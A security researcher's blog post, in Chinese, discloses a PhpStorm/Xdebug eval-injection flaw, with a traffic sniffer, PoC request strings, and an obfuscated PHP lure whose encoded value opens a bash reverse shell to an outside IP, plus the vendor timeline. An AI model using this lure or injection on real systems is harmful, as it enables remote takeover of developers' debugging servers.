Xdebug 攻击面在 PhpStorm 上的现实利用 Secer's Blog - 记录互联网安全历程与个人成长经历

作者: dawu@知道创宇404实验室
日期：2018/08/16

0x00 前言

在调试 Drupal 远程命令执行漏洞（CVE-2018-7600 && CVE-2018-7602）时，存在一个超大的数组 $form 。在该数组中寻找到注入的变量，可以帮助调试人员确认攻击是否成功。

但是作为一个安全研究人员，在调试时也保持着一颗发现漏洞的心，所以知道 $form 中的每一个元素的内容就十分重要了。然而 PhpStorm 这款调试工具需要不断的点击才能看到数组中各元素的值，这显然非常低效。

笔者在官方手册中发现了一种解决方案：

但是 Evaluate in Console 看上去就具有一定的危险性，所以笔者深入研究了该功能的实现过程并成功通过 PhpStorm 在 Xdebug 服务器上执行了命令。

0x01 准备工作

1.1 Xdebug的工作原理和潜在的攻击面

Xdebug 工作原理和潜在的攻击面前人已有部分文章总结：

综合上述参考链接，已知的攻击面有：

eval 命令：可以执行代码。
property_set && property_get 命令: 可以执行代码
source 命令: 可以阅读源码。
利用 DNS 重绑技术可能可以导致本地 Xdebug 服务器被攻击。

就本文而言 PhpStorm 和 Xdebug 进行调试的工作流程如下：

PhpStorm 开启调试监听，默认绑定 9000、10137、20080 端口等待连接。
开发者使用 XDEBUG_SESSION=PHPSTORM （XDEBUG_SESSION的内容可以配置，笔者设置的是PHPSTORM）访问 php 页面。
Xdebug 服务器反连至 PhpStorm 监听的 9000 端口。
通过步骤3建立的连接，开发者可以进行阅读源码、设置断点、执行代码等操作。

如果我们可以控制 PhpStorm 在调试时使用的命令，那么在步骤4中攻击面 1、2、3 将会直接威胁到 Xdebug 服务器的安全。

1.2 实时嗅探脚本开发

工欲善其事，必先利其器。笔者开发了一个脚本用于实时显示 PhpStorm 和 Xdebug 交互的流量（该脚本在下文截图中会多次出现）：

from scapy.all import *
import base64


Terminal_color = {
    "DEFAULT": "\033[0m",
    "RED": "\033[1;31;40m"
}

def pack_callback(packet):
    try:
        if packet[TCP].payload.raw_packet_cache != None:
            print("*"* 200)
            print("%s:%s --> %s:%s " %(packet['IP'].src,packet.sport,packet['IP'].dst,packet.dport))
            print(packet[TCP].payload.raw_packet_cache.decode('utf-8'))
            if packet[TCP].payload.raw_packet_cache.startswith(b"eval"):
                print("%s[EVAL] %s %s"%(Terminal_color['RED'],base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
            if packet[TCP].payload.raw_packet_cache.startswith(b"property_set"):
                variable = ""
                for i in packet[TCP].payload.raw_packet_cache.decode('utf-8').split(" "):
                    if "$" in i:
                        variable = i
                print("%s[PROPERTY_SET] %s=%s %s"%(Terminal_color['RED'],variable,base64.b64decode(packet[TCP].payload.raw_packet_cache.decode('utf-8').split("--")[1].strip()).decode('utf-8'),Terminal_color['DEFAULT']))
            if b"command=\"eval\"" in packet[TCP].payload.raw_packet_cache:
                raw_data = packet[TCP].payload.raw_packet_cache.decode('utf-8')
                CDATA_postion = raw_data.find("CDATA")
                try:
                    eval_result = base64.b64decode(raw_data[CDATA_postion+6:CDATA_postion+raw_data[CDATA_postion:].find("]")])
                    print("%s[CDATA] %s %s"%(Terminal_color['RED'],eval_result,Terminal_color['DEFAULT']))
                except:
                    pass
    except Exception as e:
        print(e)
        print(packet[TCP].payload)

dpkt  = sniff(iface="vmnet5",filter="tcp", prn=pack_callback)
# 这里设置的监听网卡是 vmnet5，使用时可以根据实际的网卡进行修改

0x02 通过 `PhpStorm` 在 `Xdebug` 服务器上执行命令

2.1 通过 `Evaluate in Console` 执行命令

通过上文的脚本，可以很清晰的看到我们在执行 Evaluate in Console 命令时发生了什么（红色部分是 base64 解码后的结果）：

如果我们可以控制 $q，那我们就可以控制 eval 的内容。但是在 PHP 官方手册中，明确规定了变量名称应该由 a-zA-Z_\x7f-\xff 组成：

Variable names follow the same rules as other labels in PHP. A valid variable name starts with a letter or underscore, followed by any number of letters, numbers, or underscores. As a regular expression, it would be expressed thus: '[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*'

所以通过控制 $q 来控制 eval 的内容并不现实。但是在 PhpStorm 获取数组中某个元素时，会将该元素的名称带入 eval 的语句中。

如图所示，定义数组如下： $a = ( "aaa'bbb"=>"ccc")，并在 PhpStorm 中使用 Evaluate in Console 功能。

可以看到单引号未做任何过滤，这也就意味着我可以控制 eval 的内容了。在下图中，我通过对 $a['aaa\'];#'] 变量使用 Evaluate in Console 功能获取到 $a['aaa'] 的值。

精心构造的请求和代码如下：

$ curl "http://192.168.88.128/first_pwn.php?q=a%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"

<?php
$a = array();
$q = $_GET['q'];
$a['a'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";

echo $a;
?>

但在这个例子中存在一个明显的缺陷：可以看到恶意的元素名称。如果用于钓鱼攻击，会大大降低成功率，所以对上述的代码进行了一定的修改：

$ curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b);%09%23" --cookie "XDEBUG_SESSION=PHPSTORM"

<?php
$a = array();
$q = $_GET['q'];
$a['aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'] = 'system';
$b = "date >> /tmp/dawu";
$a[$q] = "aaa";

echo $a;
?>

在元素名称足够长时，PhpStorm 会自动隐藏后面的部分：

2.2 通过 `Copy Value As` 执行命令

继续研究发现，COPY VALUE AS (print_r/var_export/json_encode) 同样也会使用 Xdebug 的 eval 命令来实现相应的功能：

再次精心构造相应的请求和代码后，可以再次在 Xdebug 服务器上执行命令：

curl "http://192.168.88.128/second_pwn.php?q=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%27%5d(\$b));%23" --cookie "XDEBUG_SESSION=PHPSTORM"

2.3 实际攻击探究

基于上述的研究，我认为可以通过 PhpStorm 实现钓鱼攻击。假设的攻击流程如下：

攻击者确保受害者可以发现恶意的 PHP 文件。例如安全研究人员之间交流 某大马 具体实现了哪些功能、运维人员发现服务器上出现了可疑的 PHP 文件。
如果受害者在大致浏览 PHP 文件内容后，决定使用 PhpStorm 分析该文件。
受害者使用 COPY VALUE AS (print_r/var_export/json_encode)、Evaluate array in Console 等功能。命令将会执行。
攻击者可以收到受害者 Xdebug 服务器的 shell。

精心构造的代码如下（其中的反连IP地址为临时开启的VPS）：

<?php
$chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMOPQRSTUVWXYZ_N+;'\"()\$ #[]";
$a = $chars[1].$chars[0].$chars[18].$chars[4].$chars[32].$chars[30].$chars[61].$chars[3].$chars[4].$chars[2].$chars[14].$chars[3].$chars[4]; //base64_decode
$b = $chars[4].$chars[21].$chars[0].$chars[11]; //eval
$c = $chars[18].$chars[24].$chars[18].$chars[19].$chars[4].$chars[12]; //system

$e = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK
$f = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[65].$chars[73].$chars[67].$chars[69].$chars[0].$chars[67].$chars[69].$chars[4].$chars[68].$chars[68].$chars[68].$chars[64].$chars[71]; // cGhwIC1yICckc29jaz1mc29ja29wZW4oIjE0OS4yOC4yMzAuNTIiLDk5OTkpO2V4ZWMoIi9iaW4vYmFzaCAtaSA8JjMgPiYzIDI+JjMgICIpOycK'](\$a(\$z)));#
$g = $chars[2].$chars[42].$chars[7].$chars[22].$chars[44].$chars[38].$chars[27].$chars[24].$chars[44].$chars[38].$chars[2].$chars[10].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[25].$chars[27].$chars[12].$chars[2].$chars[28].$chars[35].$chars[9].$chars[0].$chars[28].$chars[35].$chars[22].$chars[60].$chars[57].$chars[30].$chars[14].$chars[44].$chars[9].$chars[40].$chars[26].$chars[49].$chars[53].$chars[30].$chars[24].$chars[49].$chars[38].$chars[30].$chars[24].$chars[48].$chars[25].$chars[36].$chars[20].$chars[62].$chars[54].$chars[44].$chars[8].$chars[47].$chars[39].$chars[10].$chars[31].$chars[49].$chars[54].$chars[10].$chars[15].$chars[49].$chars[28].$chars[56].$chars[30].$chars[60].$chars[57].$chars[48].$chars[14].$chars[44].$chars[8].$chars[35].$chars[8].$chars[0].$chars[57].$chars[30].$chars[21].$chars[59].$chars[12].$chars[41].$chars[25].$chars[0].$chars[38].$chars[36].$chars[19].$chars[0].$chars[53].$chars[36].$chars[34].$chars[45].$chars[9].$chars[48].$chars[6].$chars[50].$chars[8].$chars[59].$chars[25].$chars[44].$chars[39].$chars[44].$chars[63].$chars[45].$chars[9].$chars[48].$chars[6].$chars[44].$chars[38].$chars[44].$chars[15].$chars[49].$chars[24].$chars[2].$chars[46].$chars[21].$chars[24].$chars[20].$chars[6].$chars[7].$chars[8].$chars[13].$chars[3].$chars[9].$chars[18].$chars[1].$chars[20].$chars[8].$chars[6].$chars[7].$chars[14].$chars[2].$chars[13].$chars[18].$chars[0];

$i = $chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[28].$chars[56].$chars[9].$chars[0].$chars[42].$chars[34].$chars[6].$chars[0].$chars[42].$chars[56].$chars[18].$chars[1].$chars[42].$chars[34].$chars[6].$chars[3].$chars[28].$chars[35].$chars[24].$chars[1].$chars[42].$chars[51].$chars[33].$chars[60].$chars[57].$chars[62].$chars[14].$chars[1].$chars[24].$chars[37].$chars[14].$chars[60].$chars[57].$chars[23].$chars[18].$chars[1].$chars[24].$chars[37].$chars[29].$chars[1].$chars[29].$chars[45].$chars[18].$chars[60].$chars[39].$chars[19].$chars[11].$chars[59].$chars[28].$chars[7].$chars[21].$chars[44].$chars[42].$chars[7].$chars[11].$chars[1].$chars[42].$chars[23].$chars[21].$chars[44].$chars[43].$chars[3].$chars[21].$chars[2].$chars[12].$chars[23].$chars[10].$chars[49].$chars[22].$chars[14]; //echo hello world; base64


$n = array(
    $e => $c,
    $f => $i,
    $g => $a,
);

$n[$e]($n[$g]($n[$f]));
?>

直接执行该 PHP 代码，将只会多次运行 system("echo hello world;")。但是调试人员并不会执行 PHP 代码，他也许会取出 $n[$f] 的值，然后通过 echo XXXXXXXX|base64 -d 解码出具体的内容。

如果他使用 COPY VALUE BY print_r 拷贝对应的变量，他的 Xdebug 服务器上将会被执行命令。

在下面这个 gif 中，左边是攻击者的终端，右边是受害者的 debug 过程。

（GIF中存在一处笔误： decise 应为 decide）

0x03 结语

在整个漏洞的发现过程中，存在一定的曲折，但这也正是安全研究的乐趣所在。PhpStorm 官方最终没有认可该漏洞，也是一点小小的遗憾。在此将该发现分享出来，一方面是为了跟大家分享思路，另一方面也请安全研究人员使用 PhpStorm 调试代码时慎用 COPY VALUE AS (print_r/var_export/json_encode)、Evaluate array in Console 功能。

0x04 时间线

2018/06/08: 发现 Evaluate in Console 存在 在 Xdebug 服务器上 执行命令的风险。
2018/06/31 - 2018/07/01: 尝试分析 Evaluate in Console 的问题，发现新的利用点 Copy Value. 即使 eval 是 Xdebug 提供的功能，但是 PhpStorm 没有过滤单引号导致我们可以在 Xdebug 服务器上执行命令，所以整理文档联系 [email protected]。
2018/07/04: 收到官方回复，认为这是 Xdebug 的问题，PhpStorm 在调试过程中不提供对服务器资源的额外访问权限。
2018/07/06: 再次联系官方，说明该攻击可以用于钓鱼攻击。
2018/07/06: 官方认为用户在服务器上运行不可信的代码会造成服务器被破坏，这与 PhpStorm 无关，这也是 PhpStorm 不影响服务器安全性的原因。官方同意我披露该问题。
2018/08/16：披露该问题。